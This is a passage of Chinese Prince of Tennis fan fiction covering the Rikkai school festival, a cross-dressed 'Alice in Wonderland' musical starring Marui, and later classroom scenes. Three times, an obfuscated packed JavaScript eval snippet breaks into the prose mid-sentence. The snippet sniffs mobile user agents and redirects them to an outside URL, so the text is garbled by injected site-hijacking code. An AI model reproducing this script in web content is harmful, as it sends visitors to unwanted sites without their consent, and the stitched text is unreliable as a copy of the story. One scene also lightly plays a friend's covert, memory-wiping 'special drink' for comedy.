冰帝网球部每逢周三全员休息,所有人三点下课后即可自由活动。迹部便以去镰仓海岸兜风的名义将毫不怀疑的慈郎捎上他的劳斯莱斯,车子目标明确地驶向立海。 在路上的时候,他不着痕迹地跟慈郎打听:“对了,我听岳人说,你在新人战的时候很开心?” 原本在车上有些困倦的芥川慈郎顿时露出开心的表情连连点头:“对哦对哦,我很开心!” “是遇到了感兴趣的人?” “感兴趣?”慈郎歪了歪头,“嗯!没错,虽然我比赛输了啦,但是遇到丸井君真的超开心的!我对丸井君非常感兴趣!” 原来是姓丸井吗? 话说,对女性用君来称呼,稍微有些少见……不过要是慈郎的话,就算做出有违常识的事情也不算奇怪。 此时完全被忍足带歪了思维方式的迹部,完全没有想到其他可能性。 镰仓海岸落日的美景在日本是久负盛誉的热门景点,近可见江之岛上形如蜡烛的展望灯塔,远可眺望白雪覆盖的富士山,当时间走到傍晚六七点,夕阳火烧般的光芒将会把天空与海洋都晕染成姹紫嫣红的梦幻画面。 迹部景吾以兜风为借口前往立海,一路上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16732634|188823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 遇见许多相同方向的行车,他也以为那些大多都是打算去镰仓观光度假的游客,便一直不以为意。 直到车流都汇聚于同一方向,街道两侧挂着宣传海原祭的旗帜,附近还有挂着风纪袖章的学生在道路口引导交通,他才意识到,好巧不巧,他和慈郎竟正好遇上了立海的文化祭。 街道前方的风纪委员举着喇叭:“请前往中学部的车辆往左转,前往大学部的车辆往右转。” 迹部景吾便示意司机左转。 立海大附属中学的国中与高中同在一个校区,门口迎宾的学生给迹部分发了一张地图,上面标注了国中部的海原祭活动地点位于北区,高中部的活动地点位于南区,一路上都是学生设立的游玩摊位,章鱼烧、炒面、套圈、捞金鱼等等,如节日祭典般的娱乐项目不一而足。 他瞧了眼身边正左顾右盼的芥川慈郎。这种大型活动中要找人可不太容易啊…… “慈郎,你有那个丸井的联络方式吗?”迹部问。 “欸?”慈郎惊讶,然后无辜地挠挠后脑,“我和丸井君其实没那么熟啦……” 迹部景吾闻言有点恨铁不成钢,但迹部景吾并不干涉。 “丸井同学刚才离开不久哦,应该还没走太远吧。” 因为这句话,芥川慈郎后来勇敢地闯入了附近一个班级经营的鬼屋,被一个戴着反光眼镜的紫发吸血鬼吓得吱哇乱叫,手舞足蹈间打歪了对方的假发,露出一撮银白的发梢;而后他又晕乎乎地拐进隔壁班级,看着里面的人表演插花,后来被一个笑容极其美丽温柔的同学赠送了一份手制的干花书签。 与此同时,并未离开太远的丸井文太正坐在同一楼层相反方向的一间教室,真田弦一郎与柳莲二班级所经营的吧台前。 “还真是弄得像模像样的呢。” 真田在门口迎宾,将多人同行的客人带到有桌的位置,文太是一人顾客,于是挑了个吧台正中央的卡座坐下来,视线环顾着柜子上琳琅满目的饮料,听说他们班的主题是自创饮品来着,看起来弄得挺像样的。 担任模拟店店长的柳莲二穿着白衬衣搭配黑色的西装马甲和长裤,一身经典酒保打扮。他先把搭配饮品的蝴蝶酥端到丸井文太面前,然后在对方咔嚓咔嚓吃起来时,介绍起菜单上的种种饮料。 “大体上参考了鸡尾酒的调制模式,追求富有层次感的多样风味,但是饮品全部都是无酒精成分的。” “唔——看起来好像都不错,有点选择困难啊。”文太双手捏着菜单两端,伸长手臂,选择太多了让他有些苦恼,饮料是很撑胃的,一次性能尝试的类型不多。 “既然如此,要不要试试菜单以外的特调?” “特调?” “嗯,成分更健康一些,是纯天然的,我和朋友精心计算过成分的配比,营养价值可以保证。” 纯天然的特调饮料,是复合果汁那种吗?丸井文太咽下一口点心,好奇地歪了歪头。 “好像很有意思,那就来一杯!” 21.File 20 演出 丸井文太的记忆断片了。 他被杰克叫醒的时候整个人都还有点懵,意识停留在自己踏出班级大门的那一秒,后来自己去了哪里,做了什么,什么时候失去意识,脑海里对接下来发生的事情毫无印象。 低血糖吗? 但他今天应该没做什么剧烈消耗的训练才对…… 文太下意识地看了眼窗外,映入眼帘的是色彩明丽的蓝天红楼,阳光斜切过建筑的立面,在赭红色的墙面投下几何形的阴影,明暗色调的交替透出一丝来自上世纪的复古风貌。 刚入学的时候,老师在课上有说过,立海年代最久远的教学楼修建于明治维新期间,采用了象征着工业文明的红砖建筑。在那个时期,红砖是国际上非常流行的一种校园建筑风格,例如现在以工科实力享誉全球的“红砖大学”,便是指代在英国维多利亚时代创立于工业中心城市的六所老牌名校。 他们所就读的立海亦是名门校,底蕴深厚,学生成绩优越。由于其大学部在工科领域有着深厚的积累,立海大学被誉为“日本的红砖大学”,代表着日本最顶尖的工科大学。 此刻于丸井文太眼前从楼顶垂落下来的条幅,上面书写着庆贺第117届海原祭召开的文字,署名为中学部的海外姊妹校。倘若行至一街之隔的大学校区,楼上悬挂的还有署名为伯明翰大学、曼彻斯特大学等来自真正的英国红砖大学的庆贺条幅。 所以我应该还是在庆祝海原祭的学校里……没错吧?不是做梦吧? 丸井文太默默地发了一会儿呆,一时居然不敢确信这个事实,实在是昏睡造成了时间感的混淆,大脑一片混沌。 其他人见他神态有异,纷纷围了上来。 “还好吗,文太?”这是柳和杰克。 “没事吗,丸井?”这是真田。 所有人,尤其是真田难得溢于言表的关切让他有些受宠若惊。文太环顾了一圈周围网球部的同学,蓦地想起来自己还有演出。 “糟了,表演——”他作势要站起身,却被柳轻轻按住肩膀。 “不用着急,离开演还有时间。你再歇一下,等下我们一起去换戏服。”柳莲二说,顺便递给他一杯清水。 丸井文太温顺地点头应了声好,接过水喝了两口,随后他莫名像是头痛似的扶额了几秒。 不知道怎么回事,总觉得……舌根好像残留着一股难以言喻的苦味…… 幸村精市到来时,正好看到了丸井文太一连往嘴里丢了三粒口香糖的画面,随后红发男孩默默鼓起腮帮,吹出了一个非常大的青绿色泡泡,眼睑低垂,长睫下的紫色眼睛好似透出些无言的委屈。 他觉得对方那模样有点可爱,忍不住微笑了起来,接着忽然察觉到什么,眼神敏锐地扫过流露出心虚气息的真田和柳,细眉轻轻挑了一下。 演出在即,他们很快与走出教室的仁王雅治汇合,一同前往演出会场。 “柳生他人呢?再晚可能要来不及了。”真田在路上问。 仁王面不改色地回答:“他刚刚还在扮演吸血鬼德古拉伯爵,换衣服需要时间,等一会儿就到,不会错过演出的。” 真田闻言便不再追问,柳生比吕士是言出必行的绅士,不会承诺自己做不到的事情,他对柳生的信用非常放心。 但事实当真如此吗? 越是临近开场,负责后勤的同学们越是繁忙,搬运道具、调试设备、检查器材,个个忙得脚不沾地。他们等人赶到后也不敢耽搁,赶紧找到自己的戏服换上。 “可恶,这个东西好难弄啊……” 文太换好了服装之后就开始发愁,手上拿着一根发带翻来覆去地研究,他略作思考,决定把这项艰巨任务交给杰克,只是他才刚转过头,还没喊出声来,额头就被凑过来的一根手指轻轻弹了一下。 “真笨。” 仁王眼疾手快地趁文太要拗他手指之前抽回手臂,唇角挑起,淡绿色的眸光垂落下来,笑得慵懒又戏谑。 “去那里吧,我帮你。” 他指了指摆在后台角落的一面穿衣镜。 “说谁笨啊,我可是天才。”丸井文太脸上还带着强烈不满,嘟嘟囔囔地小声抱怨。 仁王雅治充耳不闻。 到底是被人帮忙的底气不足,坐在镜子前的文太很快闭了嘴,视线投向镜面。站在后方的仁王用一手拢住他后脑的头发,另一手拿着梳子,嘴上叼着一根固定用的皮筋,谨慎的动作中透出隐约的认真。 头皮微微传来拉扯感,但还不到会痛的程度。丸井文太等得有点百无聊赖,脚跟轻轻敲着身下用来当作临时座椅的纸箱,眼珠转来转去,若有若无地观察镜子里的仁王雅治。 理论上应该是与他同时抵达后台的人,仁王却仍穿着一身立海的学生制服。与数分钟前文太所见的那个“版本”不同的地方在于,眼前的仁王松开了衬衣上端的两颗扣子,因此领带往下滑脱了些许,气质更为散漫。 听说这家伙好像有个姐姐来着,是因为这个原因所以手比较灵巧吗?因为文太家里只有弟弟,平时他都是按打理自己的习惯来照顾那两个小家伙,把乱翘的头发简单梳顺一点就好了,不需要特地去学习其他技能。 丸井文太没有就此沉思太久,在某一个瞬间,他蓦地汇聚目光,发现被他观察的人同样也隐蔽地凝视着自己,好像也在揣度着什么。 他们几乎是同时意识到彼此微妙的眼神刺探,视线骤然相遇,又一触即分。 “喂,头发太短了很难弄啊。”对方吐槽。 “废话,这点我刚才就说了……” “你就不能留长点。” “要留你自己留,我又不是每次都要这样表演。” “我留干什么?” “什么干什么……当然是说下次海原祭的事,就决定由梳头发手艺一流的仁王来出演女角色哦,感到荣幸吧。” “呵,真是阴阳怪气呐。不过你说了不算,这得听幸村的。” 下午五点,海林馆座无虚席,甚至有不少晚来的人站在观众区的后方观看。 男子网球部是明星社团,作为极少数拥有专业啦啦队应援的强势部门,今年全国冠军的战绩又为其增添了一层光环,人气始终居高不下。加上据传有部分旁观过彩排的人暗中透露,网球部此次派出的主演各个颜值极高,演出绝对赏心悦目,于是消息一传十,十传百,很快便引爆了这场节目的热度。 迹部景吾坐在当中一个视野绝佳的观众席位。他在入校时吩咐司机取得了一份立海地图,从中看到海林馆节目清单中网球部的演出赫然在列,便判断出慈郎找的丸井有极大概率出现在此地,于是吩咐司机提前在海林馆占位等候。 芥川慈郎今日运气不佳,在国中部教学楼到处都没有寻觅到丸井文太的身影,虽然被不少班级的同学友善地赠送了许多纪念品的小物,整个人还是微微气馁。他再见到迹部时,刚想说迹部你不用陪我耽搁时间,就见紫发的大少爷帅气地打了个响指,说了声跟我走,然后云里雾里地被领到海林馆。 由于二人实在很引人注意,坐在他们附近的立海女生们忍不住微微侧目,只觉其中一人面貌俊美气场高贵,仿佛小国王一般光芒万丈,另外一人也生得阳光可爱,极具亲和力,真是好吸引人的男生们。 她们暗中心想:看制服上都带着外校的标志,不知是谁邀请来的呢…… 这里面其实还隐藏着一个乌龙。 海原祭时,本校学生都有邀请外人参观的名额,通常被用给亲朋好友。然而由于迹部景吾的豪车太有气势,校门口引导来宾的风纪委员想也不想就让他进去了,压根没考虑过对方并未携带邀请函的可能性。 在众人的等候中,几位穿着网球部运动服的后勤部员最后检查了一遍音响器材,弯着腰从舞台下方快速经过,接着伴随“啪”的一声开关声落下,观众区灯光全暗,馆区四处的音响中传来由部长幸村精市念白的开场词。 “首先,非常感谢各位前来观看网球部的演出。现在请各位欣赏我部为海原祭的献礼——反串音乐剧《爱丽丝梦游仙境》。” 反串音乐剧,从介绍就可以知道,是通过唱歌演绎故事的剧目,原作主人公爱丽丝是一个七岁的英国小女孩,而男子网球部的成员连女性的社团经理都没有,因此采用演员反串式的表演似乎是一种不得已为之的选择。毕竟,国中正好是很多青春期男生的变声阶段,反串表演很容易成为舞台车祸现场。 迹部景吾自 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丸井文太的嗓音天生清亮悦耳,他尤为擅长运用技巧,又胆量十足,直面上百双眼睛也毫不怯场,只见他先在无数观众面前比了个俏皮的剪刀手,随后手指抚了抚耳朵上的耳返,歌声如潺潺涧溪般,经由他唇边的耳麦,通过大演出厅四处摆设的音响,将一个梦幻的童话故事娓娓道来—— 那是一个奇幻之日。 一位可爱的少女爱丽丝邂逅了一只揣着怀表、会说话的兔子先生。 身着执事服装、佩戴长耳装饰和单片眼镜的柳莲二经过用卡纸做成的树丛,迎着丸井文太惊奇的问询,他若无其事地扬起一个暗含引诱的文雅笑容。 “你想问我为什么如此赶时间?”柳眼色平稳,又好像在故作神秘,“预料之内的问题。因为她可是严谨苛刻的女王陛下。” 文太跟随柳的脚步闯入兔子洞中的世界,他吃了一块自己最钟爱的草莓蛋糕,视野变小,丛林变成了小小的灌木。 “咦,这是怎么回事?” 他提起嗓子,用婉转甜美的歌声发出疑问。 柳解释那是他吃得太多,递给他一杯能够减肥的奇妙饮料,文太喝下,视野随即变大,花朵的布景瞬间被同比例放大的巨型装饰替换,原来是他自己缩小成为迷你的尺寸。 怎么会这样? 丸井文太错愕转身,却发现柳莲二的身影不知不觉消失不见。 兔子先生失去踪影,只剩爱丽丝一人在仙境里晕头转向。这时柴郡猫忽然出现,为爱丽丝指明方向。 幸村精市披着一件带着猫耳兜帽的紫色披风,就像童话故事中以笑容作为标志的柴郡猫,脸上始终带着平静柔和的笑容。他像个热衷恶作剧的孩子,神出鬼没地出现于丸井文太头顶用树枝伪装的高台上。 接下来是《爱丽丝梦游仙境》这个故事里最意味深长的一段文戏。 爱丽丝仰望着树梢上的柴郡猫。 丸井文太仰望着站在高处的幸村精市。 “你能告诉我该如何前进吗?”他轻轻问。 幸村回答:“那取决于你想要去哪里。” 爱丽丝对这个避重就轻的答案并不满意,赌气说:“去哪里我都不怎么在意。” 柴郡猫的笑容依旧无懈可击,漫不经心道:“那你随意往哪里走都无所谓。” 就像彷徨于密林的爱丽丝,丸井文太有某一个瞬间在心里想,他其实并不在意自己能走到多远,也没有很期待抵达的地方会有什么风景。 但当幸村精市垂下眼望向自己,让他一颗心就像是被浸泡在神秘而又绮丽的蓝紫色海洋里,一种怦然雀跃的情绪如有火煮,咕噜咕噜着在心室里吵闹不休,好似马上将要沸腾。丸井文太顿时又觉得那个答案并不符合他内心的预期。 加入了网球部,然后努力成为正选,终于可以光明正大地站在这个人的身边,仅此就足够了吗?自己能够满足吗? 还不够。他还必须要变得更强,不断地夺取胜利,然后继续赢下去。唯有锚定常胜的终点,他才能够一直一直,和幸村君所带领的这个队伍一起攀上顶峰。 童话里的爱丽丝露出不服气的表情,气鼓鼓地睁圆眼睛反驳:“不是无所谓!我有想去的地方!” 柴郡猫依旧微笑,笑容却更加温暖柔和,鼓励说:“你一定可以的,如果你走得够久的话。” 22.File 21 落幕 演出厅里回响着清透柔和的歌声,声压带动空气的共鸣,这融入了弱混唱法的歌声仿佛穿透时空,将观众带往奇幻世界。 丸井文太的音色极为清澈,带有干净纯粹的少年气息,打小就经常被人夸奖,说他是天生就该当歌手的料。他对舞台的适应力可谓得天独厚。尤为难得的是,他年纪轻轻就能驾轻就熟地拿捏真假音的自然转换,在高音区也能保持声音的稳定性,灵活地根据乐曲的调子调整发声共鸣的位置和咬字方式,将细微的声乐颤音融入唱法中,为歌声注入了细腻的情感波动。 舞台下演唱部的部长听得眼泪都快要从嘴角流下来,暗中唏嘘这老天爷追着喂饭的天赋怎会属于网球部,不应该是他们部的新一代台柱子吗? 好想挖人,但不敢。 毕竟众所周知,幸村君让人死心塌地的人格魅力也是毫无死角。“端坐于顶端的胜利之镜花”,这是新闻部为网球部部长所起的雅称,并得到了师生上下的广泛认同,其人气和号召力之强可见一斑。 最近连以文体科目十项全能和完美无缺的绅士风度而闻名的柳生比吕士也加入了网球部,立海今年一年级的风云人物几乎尽数被幸村精市纳入麾下。 在观众心绪万千的同时,舞台上布景变幻,爱丽丝听信了柴郡猫的指引,闯入了一场永不停歇的疯狂茶会。 仁王雅治坐在主位,搭在桌上的十指交叉,玩味注视着不告自来的陌生客人。 他便是大名鼎鼎的疯帽匠,头上戴着一顶用纸牌装饰的高筒礼帽,黑色为主的礼服搭配红金撞色的菱形花纹,加上华丽得夸张的白色蝴蝶结领结,复古款式的机械怀表,优雅的白手套,从邪气四溢的眼神到玩世不恭的笑容,简直连每一根闪闪发光的银发都在诉说着这个角色的危险与荒诞。 然而丸井文太对他手中的那个被当作表演道具的旧式怀表很有印象,毕竟柳生比吕士每天携带、从不离身,说是他祖父听闻柳生到立海就读时赠送的庆祝礼物。 果然是不想唱啊,仁王那任性妄为的家伙。文太心中失笑。所以他和柳生这二人到底是怎么能互相扮得那么像啊,替身使者吗? 这大概能被列入立海网球部七大不可思议之一。 兼任导演和编剧的幸村君大概也对他们的把戏心中有数吧。文太知道对方是结果至上主义,因此睁只眼闭只眼地旁观仁王为了不唱歌而努力挣扎的好戏也不无可能……呃,按幸村君的个性来看,说不定还很有兴趣看这个乐子。 隔着一段并不遥远的距离,丸井文太与假扮成仁王的柳生比吕士默契地对视一眼。 故事中的疯帽匠对爱丽丝并不欢迎,便用荒诞的谜题故意刁难。 “你知道为什么乌鸦像是一张写字台吗?” 爱丽丝思索良久,气馁地摇了摇头。 疯帽匠瞧着爱丽丝烦恼不解的模样,感到十分有趣,他耸耸肩膀,不负责任地答道:“其实我也不知道。” 爱丽丝微微嗔怒:“你是故意戏弄我吗?” “我的每一天都周而复始,那些司空见惯的常识和逻辑都太无趣了。”疯帽匠顾左右而言他,狡猾诡辩的话语颇具仁王自由不羁的个性,又仿佛是柳生本人颇有深意的暗示,“多尝试一些与众不同的荒唐游戏也不错,不是吗?” 哼,看来号称完美绅士的柳生也是个精通伪装的骗子啊,道貌岸然的家伙。 网球部的演出至此都尚算顺利,但俗话说得好,计划赶不上变化,意外总是不期而至。 文太在转场之际不慎被抬着道具树的同学撞了一下,虽然他及时闪避,没有不幸地在舞台上摔倒,但还是身形不稳地晃了一下。 糟糕。他微微垂下头,落在红发阴影里的紫眸错愕睁大,眼睁睁看着一个亮晶晶的东西在地上一路滚动,掉到了舞台下方没有打光的暗处。 我的耳机—— 他几不可查地啧了一声。 丸井文太是主演,此刻没有机会临时下台。他见舞台另一端打扮成红心女王的真田已经登场,只好硬着头皮,沿着原定的走位继续表演。 根据爱丽丝梦游仙境的故事,离开疯狂茶会的爱丽丝来到一座玫瑰园,然后遇到由杰克扮演的扑克牌士兵正在将白玫瑰涂成红玫瑰。 由于扑克牌士兵搞错了玫瑰的颜色,脾气暴躁的红心女王刚一出场,就宣布要铁拳制裁对方,想要拯救士兵的爱丽丝也不得已被迫卷进这场闹剧。 这是一段冲突激烈的剧情,每个演员的走动换位频率极高,最困难的地方就在于爱丽丝身为一个年仅七岁的小女孩,却要在与咄咄逼人的红心女王的争辩中气势不落下风。 此刻丸井文太已是湿透的后背不断泛着冷意,冷汗快要从额角流下。 自从丢失了用来当作耳返的耳机,由于演出厅的音响都是面对着观众席,而且文太置身于舞台中心,身边一直有道具挪动,叠加了当下正好是个角色混战的剧情,他几乎听不见自己传给麦克风的声音。 歌声是否贴合旋律,有没有走调、错拍,其他人听见的效果如何,他简直一概不知,也无从调整自己的节奏,只能凭着直觉进行演绎。 观众席中的迹部景吾慢慢地皱起了眉头。 坐在他隔壁的芥川慈郎也担忧地喃喃自语:“丸井君怎么了,表情好像有些奇怪……” 迹部:“?”等下,你说丸井是谁? 台上那个虽然脸很可爱但性别为男的主演? 渐渐地,场下也有些较为敏锐的人注意到丸井文太的声音变得不太稳定,似乎隐隐约约唱错了好几个位置。 场面即将失控之前,幸村精市当机立断地吩咐后勤的部员:“关灯。” 那位三年级的学长闻言一愣,没有反应过来,还是立即领会到幸村意图的仁王先一步来到主控台前完成了操作。 随着“啪”的一声轻响,舞台落入一片黑暗。 因为这是超出剧本的意外展开,舞台上的演员们都愣了一下,不敢妄动地停在原地,而台下观众还以为这也是节目当中的一环,丝毫不知他们在暗处浮现出的惊讶表情。 此刻唯有略显滑稽的轻快曲调仍在会场回响。 柴郡猫的紫色披风在半空轻轻飘荡,仁王雅治的夜视能力满分,他掐准幸村精市悄无声息走到台前的那一刻,让一束打光从斜上方精准投下,照亮他们部长在猫耳兜帽下美丽无比的精致脸庞,以及在他面前睁大眼睛的小爱丽丝。 在故事中,三番两次冒犯红心女王的爱丽丝引来了对方的敌视,这个时候柴郡猫以只有头的鬼魅形象突然出现,帮助爱丽丝从危急中短暂抽身。 丸井文太在幸村精市刚抬手时还心中困惑不解,直到触感微凉的指尖轻轻碰了下他的耳廓,将藏在指缝里的一枚耳机塞到他的耳中,这才意识到对方此举的救场用意。 在幸村含笑的温柔注视下,文太感到一种糗事被撞破般的害羞,耳根烫得如有火烧,染上若有若无的绯色,心脏怦怦跳得越来越急。虽然有了耳返以后,他的发挥重新回到正常水准,不过文太的心情仍是一直浮在云端一样,整个人都轻飘飘的,连后来和用本来面目扮作公爵夫人的柳生对戏,那种微弱紧张又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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出乎很多人的预料,文太在料理台前的动作流畅而娴熟,简直不像是个备受宠爱的一年生。分离蛋清蛋黄,手指动作利落得如同施展魔术,打发蛋白,灵活转动的手腕快速有力又稳定,蛋清迅速膨胀成一座细腻发光的绵白雪山,立起的尖角纹丝不动,他将砂糖分次加入,全程都没有用上厨房用的称重工具,可见对每个步骤中需要使用的份量早已谙熟于心。 真是扎实又出众的技术。评委席的老师露出欣赏的微笑,她很少见学生能将法式蛋白霜的做法掌握得如此专业。虽然打发蛋白只是制作西式甜品的基础步骤,却非常考验基本功。 丸井文太这次制作的甜点是华夫饼,他将混合好的蛋黄面糊与蛋白霜轻轻拌匀,加入牛奶、盐、香草精和带有咸香的海盐焦糖粉等材料调味,随后取出一些草莓、蓝莓、葡萄、椰子等冻干的水果粉,还有用糖渍栗子制作的栗子泥、黑芝麻糊,在等待华夫饼烤制的过程中快速搅打自制的调色奶油,同时加入一点点蜂蜜和柠檬皮屑增加风味。 “咔哒。”待时间一到,文太打开烤制的模具,一股混合着焦糖化黄油、炙热蛋奶和清新香草的蒸汽涌出,那味道霸道而温柔,带着刚刚好的甜度,华夫饼本身也呈现出完美的金棕色,形状厚实,表面格纹清晰酥脆,散发出诱人的热气。 他小心翼翼将模具中的华夫饼取出,然后分别做出不同的装饰。一个淋上深色的巧克力酱,一个用蓝莓奶油裱花,一个用黑芝麻奶油……并加入不同的鲜切水果作为装饰。 现场直播的摄像机将成品的模样投影到观众均可看清的大屏幕上,水果汁水丰盈,奶油遇热微微融化,华夫饼蓬松得如云朵般柔软晃动,简直是一眼可见的美味。 杰克失笑地发现,文太是把网球部的队友们都做成了华夫饼的样子,还真是个爱意充沛的家伙啊。 仿佛是在呼应他的感慨,丸井大厨将手臂一挥,洋洋得意地宣布: “其名为——Wonderful 立海!” 嗯,他们是最棒的立海! 23.File 22 研学 日历翻过暑气未消的九月,来到万物甘甜的十月,立海校园里的梧桐由绿泛黄,一眼望去金黄灿烂,树树皆秋色。 由于早晚气温渐凉,学校最近发了新做的秋冬制服。立海对学生的日常衣着管束严格,据说初衷是为了防止攀比,无论是常规的衬衫、西裤西裙、领带、西装外套,还是保暖的毛衣和围巾,规格都被统一。 哪怕每年都有学生请愿,希望至少能自由选择围巾的花纹,也会被用维护传统的理由断然拒绝。 文太和班级里很多人一样,最近换成了长袖衬衫,外面搭一件浅蓝色的无袖V领羊毛衫,因为他有时候嫌弃袖子妨碍手臂动作,所以不冷的时候会把袖口一层一层折到肘部,手腕上的黑色护腕非常显眼,展现出运动系的利落气质。 他说温度降低了需要摄入更多热量保暖,每天都在杰克无力吐槽的眼神中购入大量零食,还对班里女生们投喂的点心来者不拒。亏得网球部的参谋柳莲二精心调整了他的训练菜单,将卡路里的消耗量维持在均衡的程度,而且丸井文太也只当提高许多的练习量是部里对正选的严格要求,这才乖巧听话地坚持了下来。 他近期似乎还长高了一些。 不变的是对方那张脸蛋在婴儿肥渐渐消失之后依旧标致得过分,甚至皮肤也从未因吃了太多零食而变差,加上脾气极好,情商又高,为人开朗风趣,很擅长和同学们打成一片,他的受欢迎程度始终居高不下。 这天班里的女同学们在例行投喂后,与文太一起聊起制服的话题。 “毛衣的颜色还算清新,但是我觉得围巾的款式有些古板啊。” “对啊对啊,明明小学的时候大家都可以选择不一样的围巾,学校真是太死板了。” “我宁可硬抗七里滨冬天的海风也不想戴……” “呃,勇士。这我不行。” 丸井文太默默听着,把嘴里的饼干咽下喉咙,随后说:“也没关系吧?反正围巾只是室外的时候用一下,万一受凉感冒就太受罪了。” “欸——但是我真的觉得戴起来不可爱嘛。” “反正本来就很可爱,就冬天稍微忍耐一下。”他安慰道,“比起使用时间很短的围巾,不如放眼在其他季节也用得上的装饰如何?” “其他季节也用得上的装饰?”女孩子们歪了歪头。 “嗯!”文太竖起一根食指,“比方说头发上绑漂亮的缎带,转过身的时候跟着头发飘起来的样子会很时髦哦,绝对特别受欢迎。” 这个提议非常新颖,她们很轻易被转移了注意力。 “缎带啊,那可考虑的选择就多了,材质、图案,还有颜色……” “先选定颜色比较好挑选吧?” “说得也是呢。” 丸井文太单手托腮,笑眯眯地说:“绘理酱选橙色试试吧,我觉得很可爱,和你的金发搭配起来一定很有元气!” “咦,真的吗?”对方有些高兴。 文太“嗯嗯”着点头,又对另一个女生说:“红叶酱可以考虑红色哦,带有你名字的颜色,而且我也很喜欢红色。” 原本只从名字选择是比较敷衍的做法,但他最后加上一句“我也很喜欢”,又让这个建议显得格外真挚。 名为红叶的女孩也是愉快地表示了感谢。 “……”得到建议的两位女生旁边,那二人的好友也是留着一头柔顺金发的女孩。她听见橙金配色的提议时也有些心动,却又觉得跟朋友撞了颜色有些尴尬,不由露出微微纠结的表情。 “哎呀,美香也是金发呢……”朋友也同样注意到了这一点。 “金发又不只有一种选择。”文太说,“美香酱的皮肤血色比较淡,用紫色会不会有欧洲公主一样的氛围呢?很精致哦。” 然后他还对三人活泼地眨了眨眼睛,指着自己的瞳仁:“像这种颜色。” 因为丸井文太在女孩们中实在太有人气,对方亲口道出和他瞳色相同的提议便极具吸引力,对方立刻用力点头,把对橙色的渴望抛到脑后去了。 在教室的后方,也有人将女生们围在丸井文太桌前的画面尽收眼底。 “真好啊,女生们都喜欢找文太说话。我要是也有那么受欢迎的脸就好了……”说话的人趴在桌上,手指在桌面不断画着圈圈,随后看向自己的隔壁,“喂,杰克,你跟文太相识那么久了,就不嫉妒吗?” 杰克一脸习以为常的表情:“文太?他从小学就是这样了,习惯就好。” “文太那家伙最可怕的地方可不仅于此。” 另一个男同学正喝着纸盒牛奶经过,听见他们二人的对话,当即停住脚步,表情严肃地加入话题。 “你们察觉了没?他跟女生们的聊天方式,很意味深长啊。” 杰克和邻座同时回以一个不明所以的眼神。 对方瞧见他们困惑的神情,既感到恨铁不成钢,又忍不住自满于自己的独特发现,他先是左右瞧了瞧,见附近无人留意到他们,便弯腰凑在二人面前,声音低得做贼一般,悄悄卖弄起自己的发现。 “是给人的感受啦,感受!你们不觉得女生那边听见了文太的提议,每个人都很满意吗?” 那人努努嘴,示意杰克他们看向女孩们喜笑颜开的样子。 “文太给出的推荐不但很符合每个人各自的特质,最重要的是,他分别用自己觉得很可爱、他喜欢这个颜色、和他眼睛的颜色相同,三种各不相同又与他有关的评价,让每个人都觉得自己对他是独一无二的特别!可恶,真是个擅长端水的高手!没想到我们立海是如此卧虎藏龙,竟有如此罪孽深重之人的存在……” “喔喔,原来如此!!”邻座男生满脸惊叹地鼓掌,“能将人心洞察至此,看来你也是个情场高手啊,我由衷佩服!” 那人不好意思地挠了挠后脑:“哈哈,过誉了,过誉了,我就是理论知识稍微丰富一点,距离实践还差一个女朋友的距离……” “呵呵……”杰克同样扯了扯嘴角,发出一声干笑,额角微汗。 他能说吗,这其实是为了防止两个活泼过头的弟弟争抢玩具,文太自小修炼出来的哄人手段。 灵活周到地待人处事,这向来是丸井文太的特长。最关键的是,他本人非常清楚自己的人格魅力所在,能将其作为达成目的的手段使用。 这一点,作为总被对方任性使唤的对象,杰克感触最深。 邻座男生轻声咕哝:“但是真狡猾啊,我也想要女生们都亲切地喊我的名字……” “关于这点,男生也是一样吧。”杰克无奈说,“你没发现同班同学,无论男女,都是直接喊文太的名字吗?” “啊,对哦。”二人恍然。说起来是从什么开始来着?好像大家都不知不觉…… 杰克道:“我觉得他没有特意区分不同性别的对待方法,只是单纯地擅长与人相处而已。” 他本意是想辩解发小没有对女生脚踏多只船的意图,熟料听见的人蓦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16748886|188823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地睁大双眼,恍然惊道:“欸——等下,这么说来,原来我也是被文太端水的一份子?” 杰克:“?” 早上的课间休息时间不长,班里同学并未闲聊太久,下一堂课的预备铃声就响彻楼栋。 接下来一节课是选修的外语课,所有人立刻回到自己的座位收拾课本,准备移动到不同的教室上课。 立海有多语种的教学体系,学生可以自由选修英语、德语和法语当中的一种。 原来学生课表中就有英语课程,不过,选修的英语课程所教授的内容有所不同。前者对标一般升学考试,重在掌握应试的基础英语,后者对标雅思,学习应用型英语。相应的,选修的德语和法语课程同样也是为有志于未来出国留学的学生培养基础,就算没有相关意愿,日后在外旅游也有用武之地。 杰克·桑原是巴西出身,他幼时使用的母语是葡萄牙语,移民日本以后努力掌握了日语,然后在学校又学习了英语。按他的想法,要娴熟切换三种语言已经有些棘手,因此他的外语选修是英语课。 丸井文太选修的外语课是法语。他的用意颇为简单,法国是西式甜品的发源地,法式甜品众所周知十分美味,而且比利时和瑞士也是巧克力系甜品水准极高的国度,这些国家都以法语为官方语言,学习法语是为了读懂好吃点心的制作方法。 至于德语?他对德国饭没有太多兴趣,据说风评跟英国有得一拼。 